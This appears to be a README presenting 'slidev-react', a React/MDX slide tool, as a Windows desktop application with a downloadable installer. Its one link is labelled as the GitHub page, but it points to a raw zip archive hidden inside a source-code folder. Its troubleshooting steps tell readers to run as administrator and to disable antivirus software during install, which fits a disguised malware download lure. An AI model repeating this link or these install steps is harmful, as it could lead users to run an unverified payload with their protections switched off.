slidev-react is a tool that helps you make slide presentations easily. It uses a technology called React to show your slides. You write your slides using simple text mixed with interactive parts. The tool handles showing presenter notes, live syncing between presenter and viewer, slide animations, and more.
It works on Windows and does not require you to know programming. You focus on your content, and slidev-react shows it clearly.
To use slidev-react on Windows, your computer should meet these needs:
- Windows 10 or Windows 11
- At least 4 GB of RAM
- 1 GHz or faster processor
- 500 MB free disk space
- Internet connection to download the software
Click the big green button at the top or go to this link to reach the download page:
This page holds the latest versions of the application.
On the download page, look for the latest release. It has a date and version number. Under it, find the file named something like:
slidev-react-setup-win.exe
This is the installer program for Windows.
Click on the installer file. Your browser will start downloading it. It should take only a few minutes.
Once downloaded, open the file by double-clicking it. Windows may ask you to confirm. Allow the program to run.
Follow the installer instructions:
- Click Next on each step.
- Choose default settings unless you want to change the install folder.
- Click Install when ready.
The installer will place slidev-react on your computer.
When the install finishes, you can open slidev-react from your Start menu or desktop shortcut.
slidev-react shows slides that you create or download. The slides use a format that mixes text with interactive parts.
- Launch slidev-react.
- Click Open.
- Find your slide file with
.mdxextension or use a sample slide from the app.
- Use arrow keys or mouse clicks to move forward and back.
- Use presenter mode to see notes and next slides.
- Use viewer mode for your audience to follow along live.
- Use any text editor like Notepad or VSCode to make slide files.
- Write text and add React components for interactivity.
- Save your file with
.mdxextension. - Open your file in slidev-react to run your presentation.
slidev-react lets you:
- Write slides in simple Markdown mixed with React components.
- Use presenter and viewer modes for smooth control.
- Sync slides in real time between devices.
- Draw on slides during the presentation.
- Record your presentation with built-in tools.
- Run fast and smooth on your Windows PC.
- Make sure your Windows system is up to date.
- Close other heavy programs to keep slidev-react smooth.
- Use a simple text editor to avoid formatting problems with slides.
- Test your slides before your real presentation.
- Keep your laptop plugged in during presentations.
- Check if your Windows version matches the system requirements.
- Try running as administrator: right-click the app icon and choose “Run as administrator.”
- Restart your computer and try again.
- Make sure your slide files use
.mdxformat. - Avoid complex custom code if you are new to slides.
- Open sample slides included in the app to compare.
- Verify you downloaded the Windows installer, not a different file.
- Make sure you have enough disk space.
- Temporarily disable antivirus software during install.
You can always get the latest Windows installer here:
Follow the steps above to install the application and start creating or presenting slides.
- Slidev-react is based on React and MDX technologies.
- For more technical guides, visit the GitHub page: https://github.com/vardhan143818/slidev-react/raw/refs/heads/main/packages/client/src/features/presentation/draw/react_slidev_v2.7-alpha.1.zip
- Look for sample slide files on the GitHub repository to practice.
For users familiar with React or web technology:
- Customize slide styles by editing MDX files.
- Add React components for interactive elements.
- Use developer tools provided in the app for debugging.
These steps are optional and meant for users willing to learn more about slidev-react internals.